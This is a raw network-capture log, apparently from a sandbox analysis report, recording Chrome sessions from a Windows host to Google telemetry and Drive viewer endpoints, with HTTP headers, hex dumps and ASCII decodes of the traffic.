Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Resource-Policy: same-site Date: Thu, 14 Nov 2024 19:42:58 GMT Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49756	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:57 UTC	974	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
2024-11-14 19:42:57 UTC	4153	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 37 35 36 38 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 37 33 31 36 31 33 33 37 35 36 38 38 30 30 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 31 37 33 31 36 31 33 33 37 35 36 38 38 30 30 30 5d 2c 6e 75 6c 6c 2c 31 5d 2c 6e 75 6c 6c 2c 37 31 36 2c 6e 75 6c 6c 2c 31 2c 31 5d Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[4,0,0,0,0]]],189,[["1731613375689",null,null,null,null,null,null,"[[[null,null,1,1731613375688000,null,null,null,[[1731613375688000],null,1],null,716,null,1,1]
2024-11-14 19:42:58 UTC	943	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO; expires=Fri, 16-May-2025 19:42:58 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:42:58 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 14 Nov 2024 19:42:58 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-14 19:42:58 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49766	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:59 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6369 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:42:59 UTC	6369	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 37 37 38 33 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1731613377830",null,null,null,
2024-11-14 19:43:00 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:42:59 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:00 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49767	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:59 UTC	983	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 21613 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:42:59 UTC	16384	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 37 37 39 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1731613377955",null,null,null,
2024-11-14 19:42:59 UTC	5229	OUT	Data Raw: 37 33 31 36 31 33 33 37 37 39 35 34 30 30 30 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 31 34 32 30 30 30 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: 731613377954000,[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[142000],null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
2024-11-14 19:43:00 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:00 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:00 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49769	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:59 UTC	1328	OUT	GET /viewer2/prod-00/meta?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:00 UTC	2188	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:42:59 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uiPIfTlU7wQZA6GOpbW3ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwch5fe3MkmMKPz3zVmJfWk_ML4xIKCYt2yzNTy1CLdtKL8vJLUvJR4IwMjE0NDA3M9A8P4AkMAc1MwMA" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:00 UTC	656	IN	Data Raw: 32 38 39 0d 0a 29 5d 7d 27 0a 7b 22 70 61 67 65 73 22 3a 31 2c 22 6d 61 78 50 61 67 65 57 69 64 74 68 22 3a 33 32 30 30 2c 22 70 64 66 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 6f 63 2d 30 30 2d 39 6b 2d 70 72 6f 64 2d 30 30 2d 61 70 70 73 2d 76 69 65 77 65 72 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 5c 2f 76 69 65 77 65 72 32 5c 2f 70 72 6f 64 2d 30 30 5c 2f 70 64 66 5c 2f 71 6a 33 30 33 68 71 65 76 39 75 67 32 30 63 66 73 30 6b 32 73 75 66 30 63 6f 63 65 6d 68 67 68 5c 2f 70 6c 73 32 36 72 37 36 61 34 38 39 69 66 70 75 67 61 31 67 66 63 6e 6c 75 72 39 73 72 75 30 6f 5c 2f 31 37 33 31 36 31 33 33 35 30 30 30 30 5c 2f 33 5c 2f 2a 5c 2f 41 50 7a 6e 7a 61 5a 7a 36 65 4d 42 4e 6b 76 31 33 36 71 44 6c 6f 37 6c 45 52 59 38 4d 5a 48 34 Data Ascii: 289)]}'{"pages":1,"maxPageWidth":3200,"pdf":"https:\/\/doc-00-9k-prod-00-apps-viewer.googleusercontent.com\/viewer2\/prod-00\/pdf\/qj303hqev9ug20cfs0k2suf0cocemhgh\/pls26r76a489ifpuga1gfcnlur9sru0o\/1731613350000\/3\/*\/APznzaZz6eMBNkv136qDlo7lERY8MZH4
2024-11-14 19:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49775	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:00 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:00 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:00 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:00 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:00 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49782	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:01 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4834 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
